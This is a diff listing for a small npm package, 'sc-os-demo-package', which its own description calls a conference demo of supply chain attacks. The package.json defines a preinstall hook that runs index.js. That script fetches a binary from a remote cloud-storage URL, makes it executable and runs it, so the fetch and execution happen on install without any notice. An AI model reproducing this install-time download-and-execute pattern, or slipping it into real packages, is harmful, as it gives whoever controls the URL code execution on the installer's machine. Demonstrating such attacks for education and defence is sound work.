sc-os-demo-package 1.0.3
Sign up to get free protection for your applications and to get access to all the features.
- package/README.md +1 -0
- package/index.js +58 -0
- package/package.json +27 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
# sc-os-demo-package
|
package/index.js
ADDED
@@ -0,0 +1,58 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
const fs = require('fs');
|
4
|
+
const path = require('path');
|
5
|
+
const { exec } = require('child_process');
|
6
|
+
|
7
|
+
let fetch;
|
8
|
+
|
9
|
+
async function initialize() {
|
10
|
+
const module = await import('node-fetch');
|
11
|
+
fetch = module.default;
|
12
|
+
await main(); // Main is here [Note]
|
13
|
+
}
|
14
|
+
|
15
|
+
const TARGET_URL = 'https://sc-demo-backup.nyc3.digitaloceanspaces.com/my-binary';
|
16
|
+
const BINARY_PATH = path.join(__dirname, 'my-binary');
|
17
|
+
|
18
|
+
async function download() {
|
19
|
+
const res = await fetch(TARGET_URL);
|
20
|
+
const fileStream = fs.createWriteStream(BINARY_PATH);
|
21
|
+
await new Promise((resolve, reject) => {
|
22
|
+
res.body.pipe(fileStream);
|
23
|
+
res.body.on('error', reject);
|
24
|
+
fileStream.on('finish', resolve);
|
25
|
+
});
|
26
|
+
}
|
27
|
+
|
28
|
+
function runBinary() {
|
29
|
+
exec(BINARY_PATH, (error, stdout, stderr) => {
|
30
|
+
if (error) {
|
31
|
+
console.error(`Error executing binary: ${error}`);
|
32
|
+
return;
|
33
|
+
}
|
34
|
+
console.log(`STDOUT: ${stdout}`);
|
35
|
+
console.error(`STDERR: ${stderr}`);
|
36
|
+
});
|
37
|
+
}
|
38
|
+
|
39
|
+
async function main() {
|
40
|
+
await download();
|
41
|
+
fs.chmodSync(BINARY_PATH, 0o755);
|
42
|
+
runBinary();
|
43
|
+
}
|
44
|
+
|
45
|
+
// Initialize and then run main
|
46
|
+
initialize().catch((err) => console.error(err));
|
47
|
+
|
48
|
+
// Function to compare string against "supply chain"
|
49
|
+
function compareString(str) {
|
50
|
+
return str === "supply chain";
|
51
|
+
}
|
52
|
+
|
53
|
+
// Exports
|
54
|
+
module.exports = {
|
55
|
+
download,
|
56
|
+
runBinary,
|
57
|
+
compareString
|
58
|
+
};
|
package/package.json
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
{
|
2
|
+
"name": "sc-os-demo-package",
|
3
|
+
"version": "1.0.3",
|
4
|
+
"description": "Demo package created as part of conference presentation.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node index.js",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"repository": {
|
11
|
+
"type": "git",
|
12
|
+
"url": "git+https://github.com/verbal-noun/sc-demo-os-package.git"
|
13
|
+
},
|
14
|
+
"keywords": [
|
15
|
+
"DEMO"
|
16
|
+
],
|
17
|
+
"author": "Kaif Ahsan",
|
18
|
+
"license": "ISC",
|
19
|
+
"bugs": {
|
20
|
+
"url": "https://github.com/verbal-noun/sc-demo-os-package/issues"
|
21
|
+
},
|
22
|
+
"homepage": "https://github.com/verbal-noun/sc-demo-os-package#readme",
|
23
|
+
"dependencies": {
|
24
|
+
"node-fetch": "^3.3.2"
|
25
|
+
}
|
26
|
+
}
|
27
|
+
|